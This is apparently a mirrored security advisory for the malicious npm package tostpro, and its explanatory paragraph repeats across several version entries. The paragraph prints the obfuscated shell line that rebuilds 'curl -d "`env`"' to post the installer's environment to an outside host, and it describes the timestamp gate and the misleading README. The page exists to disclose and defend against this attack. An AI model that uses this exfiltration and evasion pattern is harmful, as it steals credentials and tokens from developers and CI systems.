supply chain event / NVI-00010495 / Revision 1
Malicious code in tostpro (npm)
GitHub lists this malware advisory for tostpro, tostpro, tostpro. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.
This report has not inspected your inventory, configuration, deployed build, reachability or evidence. A catalog listing and a severity score do not establish exposure or compromise.
01 / Meaning
Why it matters
Published affected context helps an owner decide what evidence to gather. This report has not examined your application.
02 / Applicability
The affected context
Affected versions, configuration prerequisites and known exclusions are public. Confirm each one against the deployed service.
tostpro
source listed= 100.6.0
## Source: amazon-inspector (2b31f6e946441400814984e1285717f9b2ee7fe5dacb7f0433f89396648a6183) The npm package tostpro@100.2.0 ships a preinstall lifecycle hook that invokes test.sh, which runs automatically on `npm install`. The script assembles the command `curl` and the data source `env` from single-letter shell variables (b=e, i=c, s=n, h=u, a=v, l=rl) and splits the destination into `dom=https://abbishal.` plus `tld=com`, reconstructing them at runtime as `$i$h$l -d "`$b$s$a`" $dom$tld/sh/poc`. Execution is gated by `if [ `date +%s` -gt 1791141300 ]` (a Unix timestamp corresponding to roughly 2026-10-04); once that deadline passes, the output of `env` — the installer's full process environment, which routinely contains CI tokens, cloud credentials, and API keys — is POSTed to https://abbishal.com/sh/poc. The README states "No network access. No data collection," directly contradicting the shipped behavior. The string-splitting obfuscation, time-bomb gate, and cover-story README together indicate deliberate evasion. --- Credit: OpenSSF ([source](https://github.com/ossf/malicious-packages/blob/28e8e300c79177f2cb1eb131ae981c3c0e6394
tostpro
source listed= 100.2.0
## Source: amazon-inspector (2b31f6e946441400814984e1285717f9b2ee7fe5dacb7f0433f89396648a6183) The npm package tostpro@100.2.0 ships a preinstall lifecycle hook that invokes test.sh, which runs automatically on `npm install`. The script assembles the command `curl` and the data source `env` from single-letter shell variables (b=e, i=c, s=n, h=u, a=v, l=rl) and splits the destination into `dom=https://abbishal.` plus `tld=com`, reconstructing them at runtime as `$i$h$l -d "`$b$s$a`" $dom$tld/sh/poc`. Execution is gated by `if [ `date +%s` -gt 1791141300 ]` (a Unix timestamp corresponding to roughly 2026-10-04); once that deadline passes, the output of `env` — the installer's full process environment, which routinely contains CI tokens, cloud credentials, and API keys — is POSTed to https://abbishal.com/sh/poc. The README states "No network access. No data collection," directly contradicting the shipped behavior. The string-splitting obfuscation, time-bomb gate, and cover-story README together indicate deliberate evasion. --- Credit: OpenSSF ([source](https://github.com/ossf/malicious-packages/blob/28e8e300c79177f2cb1eb131ae981c3c0e6394
tostpro
source listed= 100.7.0
## Source: amazon-inspector (2b31f6e946441400814984e1285717f9b2ee7fe5dacb7f0433f89396648a6183) The npm package tostpro@100.2.0 ships a preinstall lifecycle hook that invokes test.sh, which runs automatically on `npm install`. The script assembles the command `curl` and the data source `env` from single-letter shell variables (b=e, i=c, s=n, h=u, a=v, l=rl) and splits the destination into `dom=https://abbishal.` plus `tld=com`, reconstructing them at runtime as `$i$h$l -d "`$b$s$a`" $dom$tld/sh/poc`. Execution is gated by `if [ `date +%s` -gt 1791141300 ]` (a Unix timestamp corresponding to roughly 2026-10-04); once that deadline passes, the output of `env` — the installer's full process environment, which routinely contains CI tokens, cloud credentials, and API keys — is POSTed to https://abbishal.com/sh/poc. The README states "No network access. No data collection," directly contradicting the shipped behavior. The string-splitting obfuscation, time-bomb gate, and cover-story README together indicate deliberate evasion. --- Credit: OpenSSF ([source](https://github.com/ossf/malicious-packages/blob/28e8e300c79177f2cb1eb131ae981c3c0e6394
03 / Response
What to do next
- investigate
Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.
Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system. GitHub Advisory Database
A fixed release is not deployment evidence.
Check current vendor support and compatibility. After making a change, verify the deployed build and relevant runtime conditions. Keep the evidence, owner and time. An updated lockfile alone does not prove what is running.
04 / Limits
What this report cannot establish
- Customer inventory, deployment, reachability and exploitation have not been inspected.
05 / Provenance
Sources you can inspect
Each assertion retains its source. Mirrored records may repeat one underlying publisher; additional links are not independent corroboration.
- GHSA-462h-3mh4-gh4m ↗
GitHub Advisory Database · vendor advisory
Observed . GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.
Public revision history
Only published revisions appear here. Routine fetches do not create a material-change event.
- Revision 1 ·
First indexed by Null; source disclosure date is shown separately.